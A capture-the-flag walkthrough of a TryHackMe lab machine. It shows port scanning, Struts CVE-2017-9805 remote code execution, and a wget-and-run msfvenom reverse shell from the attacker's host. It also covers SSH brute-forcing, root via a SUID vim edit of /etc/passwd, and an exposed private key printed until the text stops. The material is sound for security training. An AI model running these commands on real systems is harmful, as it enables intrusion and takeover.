by Akcoren
This is a beginner friendly and free TryHackMe room, where you can practice and hone your pentesting skills. This is considered as an easy room in the TryHackMe platform due to the readily available POCs and obvious escalation paths.
Room can be reached with the following link:
https://tryhackme.com/r/room/basicpentestingjt
Overview
This overview shows the direct path to the solution of the room Basic Pentesting without giving the commands or tools used in the solution. There are two different ways for initial foothold and two different ways for local privilege escalation. For the first initial foothold, the machine runs a vulnerable struts2 framework which can be exploited and allows us to do a remote code execution. Also, one of the users has a weak credential which can be obtained by brute forcing. For the privilege escalation part, there is an exposed RSA private key which can be cracked easily to get a sudoer user. Second privilege escalation path is a misconfigured SUID binary, by using that binary user can gain root privileges.
Detailed Walkthrough
My IP: 10.9.0.108
Machine IP: 10.10.126.175
Room Link: https://tryhackme.com/r/room/basicpentestingjt
Initial Foothold
To start with, there are two possible initial foothold paths. This guide explains both of them in detail.
- RCE via vulnerable Apache Struts 2.5.12 REST plugin
- Weak credentials, Brute-forcing via SSH
Start with the default nmap scan
┌──(root㉿kali)-[~/tryhackme/basic_pentesting/nmap]
└─# nmap -sC -sV -T4 -p- -oA nmap/allports 10.10.126.175
Nmap scan report for 10.10.126.175
Host is up (0.071s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2024-09-13T04:39:07
|_ start_date: N/A
|_clock-skew: mean: 1h20m21s, deviation: 2h18m34s, median: 20s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2024-09-13T00:39:07-04:00
Bunch of ports are open. Below is the importance order in my humble opinion. So I’m going to enumerate them in the following order.
- 80, 8080 -> Webserver, we are definitely going to enumerate them.
- 445, 139 -> Samba is running, if we can anonymously enumerate this, it might lead us to valuable information.
- 8009 -> Apache related open port, more info on: https://book.hacktricks.xyz/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp
- 22 -> SSH port, this is always a long shot. If I’m too desperate and/or find a username, I might brute-force it. This is the last option.
Web server running on the port 80
We check the source code
There should be a dev note section. Other than that, there is nothing to do, so it is a good time to do directory busting. My go-to tool for webapp fuzzing is ffuf
.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.126.175/FUZZ -e .html,.php,.txt
[REDACTED]
development [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 70ms]
[REDACTED]
We navigate to the http://10.10.126.175/development
There are some directory listings in there.
The dev.txt
is
The j.txt
is
We discovered a lot of useful information from these files. First of all, there is and Apache Struts version 2.5.12 is running on the machine, and there is also an REST example of that service is running too. Secondly, the user J
(most probably the initial of the username, something like Jane, Jack, John etc…) has a weak password, and this password is a login password for the machine, since it is stated that hash from the /etc/shadow
file is analyzed. So there is a user whose username starts with letter J
has a weak login password.
Web server running on the port 8080
We navigate to the http://10.10.126.175:8080
. The website look like this, an Apache Tomcat default landing page.
If you see an Apache Tomcat server, the very first thing you should try is the default credentials, tomcat:s3cr3t
. For this machine, it didn’t work out. So, we already know a vulnerable struts version is running on the server. Before going into that, we enumerate the SMB shares
The list of available SMB shares
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# smbclient -L //10.10.126.175
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP BASIC2
We connect to the Anonymous
. There is a file called staff.txt
which has valuable information in it.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# smbclient //10.10.126.175/Anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 13:31:20 2018
.. D 0 Thu Apr 19 13:13:06 2018
staff.txt N 173 Thu Apr 19 13:29:55 2018
14318640 blocks of size 1024. 11047244 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
So, J
stands for Jan
and K
stands for Kay
.
We move on to the Enum4Linux
scan, just not to miss any possible information.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# enum4linux -a 10.10.126.175
[REDACTED]
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User
[REDACTED]
As we suspected, users are kay
and jan
. The user jan
has a weak password.
At this point, our last option, ssh brute-forcing, seems like a pretty good option. Before going into the Struts exploit, we start our SSH brute forcing, since it takes quite long time. I use hydra
for this task.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# hydra -l jan -P /usr/share/wordlists/rockyou.txt -vV 10.10.126.175 ssh
While waiting for that, I go for the Struts exploit. We go for a non-metasploit way to do it. Quick search to see if there is a readily available exploit on the kali machine.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# searchsploit 2.5.12
--------------------------------------------------------------------------- ----------------------------
Exploit Title | Path
--------------------------------------------------------------------------- ----------------------------
Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution | linux/remote/42627.py
Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page) | linux/webapps/45090.txt
Kirby CMS 2.5.12 - Cross-Site Scripting | php/webapps/45068.txt
--------------------------------------------------------------------------- ----------------------------
Shellcodes: No Results
linux/remote/42627.py
is the thing we are looking for. Run it to get help.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py
CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE
[*] Warflop - http://securityattack.com.br
[*] Greatz: Pimps & G4mbl3r
[*] Use: python struts2.py URL COMMAND
[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id
I am not sure if we have the same url. Check it, and It is not.
A quick search gives this result. https://blog.appsecco.com/detecting-and-exploiting-the-java-struts2-rest-plugin-vulnerability-cve-2017-9805-765773921d3d
So our url is: http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3
Lets run the command again with proper input.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3 id
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service
---- Debugging information ----
message : java.lang.String cannot be cast to java.security.Provider$Service
cause-exception : java.lang.ClassCastException
cause-message : java.lang.String cannot be cast to java.security.Provider$Service
class : java.util.HashMap
required-type : java.util.HashMap
converter-type : com.thoughtworks.xstream.converters.collections.MapConverter
path : /map/entry
line number : 49
version : 1.4.8
-------------------------------
com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)
com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1206)
com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1190)
com.thoughtworks.xstream.XStream.fromXML(XStream.java:1120)
org.apache.struts2.rest.handler.XStreamHandler.toObject(XStreamHandler.java:45)
org.apache.struts2.rest.ContentTypeInterceptor.intercept(ContentTypeInterceptor.java:60)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:134)
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
[REDACTED]
[REDACTED]
[REDACTED]
com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:201)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:160)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:577)
org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.7</h3></body></html>
The result is 500 Internal Server Error
with lots of stack trace error messages. We do not see the response of the command we sent or the error messages does not contain the response. So in order to be sure if the exploit is working or not, we send ping request to our machine and listen it.
Start listener for incoming ICMP messages.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# tcpdump ip proto \\icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Send ping request to our attack machine.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3 "ping -c 3 10.9.0.108"
[REDACTED]
[REDACTED]
[REDACTED]
Same error messages but we get the ping requests this time.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# tcpdump ip proto \\icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:00:56.895264 IP 10.10.126.175 > 10.9.0.108: ICMP echo request, id 15602, seq 1, length 64
09:00:56.895328 IP 10.9.0.108 > 10.10.126.175: ICMP echo reply, id 15602, seq 1, length 64
09:00:57.896423 IP 10.10.126.175 > 10.9.0.108: ICMP echo request, id 15602, seq 2, length 64
09:00:57.896448 IP 10.9.0.108 > 10.10.126.175: ICMP echo reply, id 15602, seq 2, length 64
09:00:58.951278 IP 10.10.126.175 > 10.9.0.108: ICMP echo request, id 15602, seq 3, length 64
09:00:58.951299 IP 10.9.0.108 > 10.10.126.175: ICMP echo reply, id 15602, seq 3, length 64
So, we know exploit is working. Lets craft our reverse shell using msfvenom
.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=10.9.0.108 LPORT=4444 -o ./rev_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: ./rev_shell
Fire up a simple HTTPServer
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Download our crafted reverse shell from our attack machine and execute it on the victim machine. Do not forget to start your listener nc -nvlp 4444
, I am using rlwrap
to make it more stable and easy to use.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...
Execute this on victim machine, we navigate to the /tmp
folder for write permissions, download our reverse shell, make it executable and run it in a single command.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 42627.py http://10.10.126.175:8080/struts2-rest-showcase-2.5.12/orders/3 "cd /tmp; wget http://10.9.0.108/rev_shell; chmod +x rev_shell; ./rev_shell"
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Erro
[REDACTED]
[REDACTED]
org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.7</h3></body></html>
Still got the same error messages but HTTP server logs show that file is downloaded and we got the shell.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.126.175 - - [14/Sep/2024 09:05:46] "GET /rev_shell HTTP/1.1" 200 -
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.0.108] from (UNKNOWN) [10.10.126.175] 41536
whoami
tomcat9
We’ll make it a tty shell. More information on TTY shell upgrade: https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.0.108] from (UNKNOWN) [10.10.126.175] 41536
whoami
tomcat9
python -c 'import pty; pty.spawn("/bin/bash")'
tomcat9@basic2:/tmp$
CTRL + Z
zsh: suspended rlwrap nc -nvlp 4444
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# stty size;stty raw -echo;fg
25 156
[1] + continued rlwrap nc -nvlp 4444
tomcat9@basic2:/tmp$ reset
reset
reset: unknown terminal type unknown
Terminal type? xterm-256color
xterm-256color
tomcat9@basic2:/tmp$ export SHELL=bash
export SHELL=bash
tomcat9@basic2:/tmp$
Not a fully functional TTY shell but better than nothing. Lets check back to the Hydra
brute-force.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# hydra -l jan -P /usr/share/wordlists/rockyou.txt -vV 10.10.126.175 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-14 07:37:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.126.175:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://jan@10.10.126.175:22
[INFO] Successful, password authentication is supported by ssh://10.10.126.175:22
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[REDACTED]
[REDACTED]
[REDACTED]
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "loves" - 783 of 14344400 [child 6] (0/1)
[ATTEMPT] target 10.10.126.175 - login "jan" - pass "lolita" - 784 of 14344400 [child 10] (0/1)
[22][ssh] host: 10.10.126.175 login: jan password: armando
[STATUS] attack finished for 10.10.126.175 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-14 07:45:10
We found a password for the user jan
. It is armando
. We try and connect via SSH.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh jan@10.10.126.175
jan@10.10.126.175's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Sep 14 05:03:52 2024 from 10.9.0.108
jan@basic2:~$ whoami
jan
jan@basic2:~$
At this point we get the initial foothold with 2 different approach. For the sake of completeness, we try to escalate our privileges in both cases.
Privilege Escalation
To start with, there are two possible privilege escalation paths. This guide explains both of them in detail.
- Misconfigured SUID binary called
vim.basic
- Exposed RSA private key
After the initial foothold, I use an automated tool to quickly search for possible easy privilege escalation paths. Lets upload linpeas
to the victim machine and execute it. You can download the desired linpeas version from here: https://github.com/peass-ng/PEASS-ng/releases
tomcat9@basic2:/tmp$ wget http://10.9.0.108/linpeas.sh
wget http://10.9.0.108/linpeas.sh
--2024-09-14 09:15:03-- http://10.9.0.108/linpeas.sh
Connecting to 10.9.0.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 833.29K 1.90MB/s in 0.4s
2024-09-14 09:15:04 (1.90 MB/s) - 'linpeas.sh' saved [853290/853290]
tomcat9@basic2:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
tomcat9@basic2:/tmp$ ./linpeas.sh
./linpeas.sh
Linpeas’ output is huge, so I am not going to insert the whole output of the script but followings are the key points (at least intended paths).
[OMITTED]
Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
[OMITTED]
SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 2.4M Nov 24 2016 /usr/bin/vim.basic (Unknown SUID binary!)
[OMITTED]
The exact same result is obtained if we run linpeas with user jan
. So there are 2 possible paths, exposed private key and a SUID binary called vim.basic
with root privileges.
SUID Binary
We can get the same result from linpeas with user jan
too. Lets run vim.basic
to play around. Apparently, we can any file with root privileges by using the SUID binary. Lets add our own user to the /etc/passwd
file.
Create user with openssl passwd -1 -salt [salt] [password
], and append it in the following form at the end of the /etc/passwd
file.
username:passwordhash:0:0:root:/root:/bin/bash
So the credentials that I chose are zurna:zurna3131
. Lets create it with the chosen password and salt.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# openssl passwd -1 -salt salted zurna3131
$1$salted$KUO7SFOyoFPTPbx99WZG5/
Final form of the `/etc/passwd` file should look like this.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
kay:x:1000:1000:Kay,,,:/home/kay:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
tomcat9:x:999:999::/home/tomcat9:/bin/false
jan:x:1001:1001::/home/jan:/bin/bash
zurna:$1$salted$KUO7SFOyoFPTPbx99WZG5/:0:0:root:/root:/bin/bash
~
~
~
~
~
:wq!
Switch to the newly created user.
jan@basic2:~$ su zurna
Password: (zurna3131)
root@basic2:/home/jan# whoami
root
root@basic2:/home/jan#
This was the method that exploits the SUID binary. Same exploit can be done with the user tomcat9
.
Exposed Private Key
So we know user kay
has an exposed private RSA key.
jan@basic2:/home/kay$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .lesshst .nano pass.bak .profile .ssh .sudo_as_admin_successful .viminfo
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -a
. .. authorized_keys id_rsa id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
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
